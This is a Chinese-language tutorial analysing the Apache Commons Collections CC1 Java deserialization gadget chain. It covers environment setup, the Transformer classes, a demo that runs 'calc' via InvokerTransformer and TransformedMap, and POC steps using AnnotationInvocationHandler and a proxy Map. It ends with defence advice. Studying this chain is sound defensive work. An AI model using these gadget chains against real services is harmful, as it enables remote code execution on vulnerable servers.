Java安全之详解commons-collection包下的反序列化链1
字数 1722 2025-08-11 17:40:24
Apache Commons Collections反序列化漏洞分析(CC1链)
一、环境搭建
JDK7环境配置
-
下载JDK7的Linux版本(.tar.gz),注意系统位数匹配
-
创建并解压到指定目录:
sudo mkdir -p /usr/local/java sudo cp -r jdk...tar.gz /usr/local/java sudo tar xvzf jdk...tar.gz -
配置环境变量(~/.bashrc):
JAVA_HOME=/usr/local/java/jdk1.7.0_80 JRE_HOME=/usr/local/java/jdk1.7.0_80 PATH=$PATH:$JRE_HOME/bin:$JAVA_HOME/bin export JAVA_HOME export JRE_HOME export PATH -
更新alternatives:
sudo update-alternatives --install "/usr/bin/java" "java" "/usr/local/java/jdk1.7.0_80/bin/java" 1 sudo update-alternatives --install "/usr/bin/javac" "javac" "/usr/local/java/jdk1.7.0_80/bin/javac" 1 sudo update-alternatives --install "/usr/bin/javaws" "javaws" "/usr/local/java/jdk1.7.0_80/bin/javaws" 1 sudo update-alternatives --set java /usr/local/java/jdk1.7.0_80/bin/java sudo update-alternatives --set javac /usr/local/java/jdk1.7.0_80/bin/javac sudo update-alternatives --set javaws /usr/local/java/jdk1.7.0_80/bin/javaws -
重新加载配置并验证:
source ~/.bashrc java -version
二、关键类与接口分析
1. TransformedMap
TransformedMap.decorate(innerMap, keyTransformer, valueTransformer)用于修饰标准Map:
keyTransformer: 处理新元素Key的回调valueTransformer: 处理新元素Value的回调
这里的"回调"是指实现了Transformer接口的类。
2. Transformer接口
核心方法:
Object transform(Object input)
3. ConstantTransformer
实现Transformer接口,包装任意对象并在回调时返回该对象:
public ConstantTransformer(Object constantToReturn) {
super();
iConstant = constantToReturn;
}
public Object transform(Object input) {
return iConstant;
}
4. InvokerTransformer
实现Transformer接口,可执行任意方法:
- 构造参数:
- 待执行的方法名
- 方法参数类型列表
- 方法参数列表
5. ChainedTransformer
实现Transformer接口,将多个Transformer串联执行。
三、漏洞原理分析
基本Demo分析
Transformer[] transformers = {
new ConstantTransformer(Runtime.getRuntime()),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
outerMap.put("test", "xxx");
执行流程:
ConstantTransformer包装Runtime.getRuntime()InvokerTransformer调用exec方法执行calc命令ChainedTransformer将两个Transformer串联TransformedMap.decorate修饰Map- 通过
put操作触发漏洞
实际利用条件
在实际反序列化中,需要找到一个类的readObject方法会向Map中写入元素。AnnotationInvocationHandler满足此条件。
POC构造关键点
-
通过反射获取
AnnotationInvocationHandler:Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class); construct.setAccessible(true); Object obj = construct.newInstance(Retention.class, outMap); -
Runtime类不可序列化问题解决:
Method method = Runtime.class.getMethod("getRuntime"); Runtime res = (Runtime) method.invoke(null); res.exec("calc"); -
触发条件:
- 使用
Retention.class实例化 - 添加value为键的键值对
- 仅适用于Java 8u71之前的版本
- 使用
四、与ysoserial的区别
-
ysoserial使用LazyMap而非TransformedMapTransformedMap: 写入元素时执行transformLazyMap: get元素时执行transform
-
AnnotationInvocationHandler的readObject不直接调用get方法,而是通过invoke方法间接调用 -
代理机制实现:
InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outMap); Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, handler);
五、Payload生成分析
- 使用
InvokerTransformer和反射获取Runtime.getRuntime().exec方法 - 创建HashMap存储元素
- 通过
Gadgets.createMemoitizedProxy创建代理 Gadgets.createMemoizedInvocationHandler返回InvocationHandlerReflections.getFirstCtor获取AnnotationInvocationHandler构造方法- 使用
Proxy.newProxyInstance创建代理Map - 通过
Reflections.setFieldValue设置Transformer链
六、利用条件总结
-
环境要求:
- Java版本:8u71之前
- 存在commons-collections库
-
关键点:
- 利用
Transformer链构造恶意操作 - 通过
AnnotationInvocationHandler的readObject触发 - 解决Runtime不可序列化问题
- 正确处理触发条件(var12不为null)
- 利用
七、防御建议
- 升级JDK到8u71及以上版本
- 升级commons-collections库
- 使用反序列化过滤器
- 避免反序列化不可信数据